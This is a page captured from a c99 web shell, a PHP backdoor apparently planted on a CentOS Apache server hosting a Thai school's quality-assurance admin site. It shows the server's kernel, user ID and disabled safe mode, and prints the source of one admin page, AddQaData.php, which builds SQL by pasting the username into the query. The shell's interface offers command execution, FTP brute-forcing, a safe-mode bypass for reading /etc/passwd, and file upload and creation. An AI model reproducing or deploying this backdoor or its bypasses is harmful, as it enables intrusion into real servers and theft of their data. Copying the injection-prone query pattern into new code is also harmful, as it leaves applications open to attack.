!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/QA/   drwxr-xr-x
Free 52.82 GB of 127.8 GB (41.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddQaData.php (3.68 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();

 if (
session_is_registered("valid_user")&&session_is_registered("Priority")&&session_is_registered("password") )
 {
include(
"../include/FunctionDB.php");
include(
"admin_menu.php");
 
ConnectDB();
$Username $valid_user;
 
$sql ="SELECT * FROM personal_tb WHERE Username='$Username'";
  
$result mysql_query($sql) or die("Cannot Select").mysql_error();
  
$rs mysql_fetch_array($result);
  
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<link href="../css/style1.css" rel="stylesheet" type="text/css">

<style type="text/css">
<!--
.style20 {font-size: 14px}
-->
</style>
<table width="817" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="817"><br><fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="Qa_menu.php" >หน้าหลัก </a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="StandardList.php"> ข้อมูลประกันคุณภาพ</a></font> <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="EditStandList.php">แก้ไขข้อมูลมาตรฐาน</a><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /> เพิ่มข้อมูลประกันคุณภาพ</font></legend>
            <label><div align="center">
              <form id="form1" name="form1" method="post" action="InsertStand.php">
                <table width="73%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#006699">
                  <tr bgcolor="#F4FDC6">
                    <td colspan="3"><div align="center" class="style20"><strong><font color="#003366" face="Tahoma">เพิ่มข้อมูล 
                      รายการประเมิน </font></strong></div></td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td width="26%"><div align="center"><font color="#000066" size="2" face="Tahoma">ประจำปีการศึกษา</font></div></td>
                    <td width="1%" bordercolor="#006699">&nbsp;</td>
                    <td width="73%" bordercolor="#006699"><input name="Term" type="text" class="input" id="Term" size="4" maxlength="4" />
                    <font color="#000066" size="2" face="Tahoma">&nbsp; </font></td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td><div align="center"><font color="#003366" size="2" face="Tahoma">รับการประเมินคุณภาพการศึกษาจาก</font></div></td>
                    <td bordercolor="#006699"><font color="#003366" size="2" face="Tahoma">&nbsp;</font></td>
                    <td bordercolor="#006699" bgcolor="#eeeeee"><p><font color="#003366" size="2" face="Tahoma">
                        <textarea name="Topic" cols="50" id="Topic"></textarea>
                      </font></p></td>
                  </tr>
                  <tr bgcolor="#F4FDC6">
                    <td colspan="3" bgcolor="#eeeeee"><div align="center">
                        <input type="submit" name="Submit3" value="    เพิ่ม    " />
                      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                      <input type="reset" name="Submit22" value="   เคลียร์   " />
                    </div></td>
                  </tr>
                </table>
                <br>
            </form>
              </div>
            </label>
        </fieldset><br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
        </font></td>
    </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0058 ]--